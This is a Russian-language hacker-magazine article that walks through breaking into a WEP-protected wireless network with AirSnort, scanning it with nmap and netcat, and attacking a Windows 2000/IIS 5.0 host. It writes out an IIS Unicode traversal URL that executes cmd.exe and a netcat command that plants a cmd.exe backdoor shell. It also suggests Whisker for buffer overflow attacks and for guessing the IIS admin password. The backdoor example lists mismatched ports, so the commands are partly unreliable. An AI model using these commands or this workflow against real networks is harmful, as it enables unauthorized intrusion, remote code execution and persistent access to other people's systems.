Хакер не раз писал
о беспроводных сетях, способах
проникновения и типичных ошибках, которые
можно в них найти. Сегодня предлагаю
несколько практических примеров того, как
можно правильно взаимодействовать с
беспроводной сетью и что полезного можно из
нее извлечь.
Фаза 1: ключ WEP
Первая задача для хакера - проникнуть в
сеть, защищенную WEP. Для этого используем
утилиту под названием AirSnort,
при помощи которой можно пассивно
мониторить передающиеся по воздуху данные.
Перехватив достаточное количество пакетов
(от 5 до 10 миллионов) можно с легкостью
получить ключ к сети. Стоит отметить, что
все 802.11b сети с 40/128 битным WEP шифрованием
уязвимы, более того, в отличии от
"проводных" локальных сетей действие
снифера не поддается никакому
обнаружению.
Для работы AirSnort требуется сетевая
карточка, которая:
- поддерживает режим RF мониторинга
- может передавать RF-пакеты из режима на
интерфейс PF_PACKAGE
Это, например, Cisco Aironet, любая Prism-карточка с
wlan-ng драйверами, карты Orinoco с новыми orinoco_cs
драйверами. Кроме того требуется последний libpcap
и gtk+-2.2 and gtk+-devel для работы в графическом
интерфейсе.
Понятно, что только такие карты могут
перехватывать пакеты не будучи точкой
доступа или промежуточной передающей
точкой. Следовательно, только так мы можем
получать пакеты с нужного канала без
участия в их передаче. AirSnort так же позволяет
работать в promiscuous режиме, отличие его в том,
что необходимо зарегистрироваться на точке
доступа и лишь потом перехватывать данные,
то есть работать только в сети, которая, так
сказать, доверяет сниферу.
Загрузив AirSnort делаем так:
tar -xzf airsnort-0.2.3a.tar.gz
cd airsnort-0.2.3a
./autogen.sh
make
Запускаем и видим примерно следующее:
Теперь осталось лишь нажать кнопочку Start и
ждать. Сколько? На этой стадии это главный
вопрос. Может понадобится несколько
пакетов, а может несколько миллионов. В
конце концов программа ключ вычислит и
предоставит в ваше пользование. После этого
вы можете спокойно его использовать для
входа в сеть.
Другая утилита, при помощи которой можно
проникнуть внутрь сети - WEPCrack.
Действует она аналогично AirSnort, однако в
меньшей степени автоматизирована, так что
после сбора пакетов придется пользовать
скрипт для вычисления WEP ключа.
Фаза 2: сканирование портов
Следующая традиционная задача -
сканирование портов во вновь обретенной
сети. Это самый простой и эффективный путь
для обнаружения приятных аномалий. Тут, в
общем говоря, все стандартно - тот же NMAP
легко и беспроблемно послужит вам в
открытии чудесных мест в сети. О действиях с
Nmap мы так же не раз писали, так что осбого
труда в его использовании думаю не
возникнет.
Фаза 3: обнаружение и использование
уязвимостей
Заключительный этап после проникновения
в беспроводную сеть и обнаружения открытых
портов - определение приложений, стоящих за
портами, и уязвимостей в них. В Linuxе конечно
существует и ряд утилит для этого.
Первая прога - NetCat,
универсальный "швейцарский нож"
любого сетевика. Одна из главных
возможностей NetCat - посылка специально
созданных TCP/IP пакетов к нужному хосту и
порту и, соответствнно, налюдение за
реакцией хоста. Например, можно создать
пакет с необходимой HTTP информацией к порту
web-сервера для определения его наличия и
платформы. Для сканирования портов NetCat
можно сделать так:
linux:~ # netcat -v -w2 -z 192.168.0.2 1-500
mercury.hasselltech.local
[192.168.0.2] 464 (kpasswd) open
mercury.hasselltech.local [192.168.0.2] 445 (microsoft-ds)
open
mercury.hasselltech.local [192.168.0.2] 444 (snpp) open
mercury.hasselltech.local [192.168.0.2] 443 (https) open
mercury.hasselltech.local [192.168.0.2] 389 (ldap) open
mercury.hasselltech.local [192.168.0.2] 139 (netbios-ssn) open
mercury.hasselltech.local [192.168.0.2] 135 (epmap) open
mercury.hasselltech.local [192.168.0.2] 88 (kerberos) open
mercury.hasselltech.local [192.168.0.2] 82 (xfer) open
mercury.hasselltech.local
[192.168.0.2] 80 (http) open
mercury.hasselltech.local [192.168.0.2] 53 (domain)
open
mercury.hasselltech.local [192.168.0.2] 42 (name) open
mercury.hasselltech.local [192.168.0.2] 25 (smtp) open
Из этого списка видим открытый 80 порт.
Определим баннер сервера (не слишком
правильно, но для примера сойдет):
linux:~ # netcat -v -n 192.168.0.2 80
(UNKNOWN) [192.168.0.2] 80 (?) open
GET HTTP
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Tue, 01 Jun 2004 22:56:11 GMT
Content-Type: text/html
Content-Length: 87
Connection: close
Content-Length: 34
parameter?
Баннер показывает вероятное наличие Windows
2000 и IIS 5.0, следовательно можно попробовать
заюзать эксплоит для этой ОС и сервера,
например мало уже распространенный юникод:
http://192.168.1.90/scripts/ ..%255c../winnt/system32/
cmd.exe?/c+dir+c:
NetCat так же можно закинуть как бекдор,
поставив слушать на определенном порту.
Например на удаленной машине:
nc -L -p 7896 -d -e cmd.exe
а на локальной
nc -v -n 192.168.0.2 7890
Если вас интересует исключительно web-сервера,
то можно использовать тулзу Whisker,
которая специально под это заточена. На
обнаруженной в примере машине Whisker может
попробовать использовать атаки
переполнения буфера, тест FrontPage extensions,
подбор пароля админа IIS и баг с Unicode URL.